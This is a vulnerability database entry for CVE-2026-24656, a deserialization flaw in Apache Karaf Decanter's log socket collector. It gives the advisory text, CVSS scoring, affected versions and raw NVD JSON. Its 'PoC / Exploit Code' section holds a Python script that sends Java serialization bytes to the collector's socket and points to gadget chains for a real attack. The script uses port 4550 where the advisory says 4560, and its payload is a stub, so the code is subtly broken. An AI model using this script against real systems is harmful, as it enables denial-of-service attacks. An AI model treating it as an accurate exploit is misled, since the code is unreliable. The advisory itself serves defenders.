Security Vulnerability Report
中文
CVE-2026-24656 CVSS 3.7 LOW

CVE-2026-24656

Published: 2026-01-26 10:16:10
Last Modified: 2026-01-27 20:30:09

Description

Deserialization of Untrusted Data vulnerability in Apache Karaf Decanter. The Decanter log socket collector exposes the port 4560, without authentication. If the collector exposes allowed classes property, this configuration can be bypassed. It means that the log socket collector is vulnerable to deserialization of untrusted data, eventually causing DoS. NB: Decanter log socket collector is not installed by default. Users who have not installed Decanter log socket are not impacted by this issue. This issue affects Apache Karaf Decanter before 2.12.0. Users are recommended to upgrade to version 2.12.0, which fixes the issue.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:karaf_decanter:*:*:*:*:*:*:*:* - VULNERABLE
Apache Karaf Decanter < 2.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct def exploit_cve_2026_24656(target_ip, target_port=4550): """ PoC for CVE-2026-24656: Apache Karaf Decanter Deserialization Vulnerability This PoC demonstrates sending a malicious serialized payload to the log socket collector. Note: This is for educational and authorized testing purposes only. """ try: # Create socket connection to the target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send a test payload to trigger the vulnerability # In a real attack, this would contain a malicious Java serialized object # that exploits known gadget chains (e.g., CommonsCollections, Spring, etc.) malicious_payload = b'\xac\xed\x00\x05' # Java serialization magic bytes malicious_payload += b'\x00\x04test' # Example payload structure print(f'[*] Sending payload to {target_ip}:{target_port}') sock.send(malicious_payload) # Wait for response response = sock.recv(1024) print(f'[*] Received response: {response}') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False # Usage example # exploit_cve_2026_24656('192.168.1.100', 4550)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24656", "sourceIdentifier": "[email protected]", "published": "2026-01-26T10:16:09.597", "lastModified": "2026-01-27T20:30:09.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Apache Karaf Decanter.\n\n\nThe Decanter log socket collector exposes the port 4560, without authentication. If the collector exposes allowed classes property, this configuration can be bypassed.\nIt means that the log socket collector is vulnerable to deserialization of untrusted data, eventually causing DoS.\n\n\nNB: Decanter log socket collector is not installed by default. Users who have not installed Decanter log socket are not impacted by this issue.\n\nThis issue affects Apache Karaf Decanter before 2.12.0.\n\nUsers are recommended to upgrade to version 2.12.0, which fixes the issue."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en Apache Karaf Decanter.\n\nEl colector de socket de registro de Decanter expone el puerto 4560, sin autenticación. Si el colector expone la propiedad de clases permitidas, esta configuración puede ser eludida.\nEsto significa que el colector de socket de registro es vulnerable a la deserialización de datos no confiables, lo que eventualmente causa DoS.\n\nNB: El colector de socket de registro de Decanter no está instalado por defecto. Los usuarios que no han instalado el socket de registro de Decanter no se ven afectados por este problema.\n\nEste problema afecta a Apache Karaf Decanter anterior a la versión 2.12.0.\n\nSe recomienda a los usuarios actualizar a la versión 2.12.0, que corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:karaf_decanter:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.12.0", "matchCriteriaId": "8AC91F7D-EA3C-4D8A-95D2-BCA9902B744C"}]}]}], "references": [{"url": "https://lists.apache.org/thread/dc5wmdn6hyc992olntkl75kk04ndzx34", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/24/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}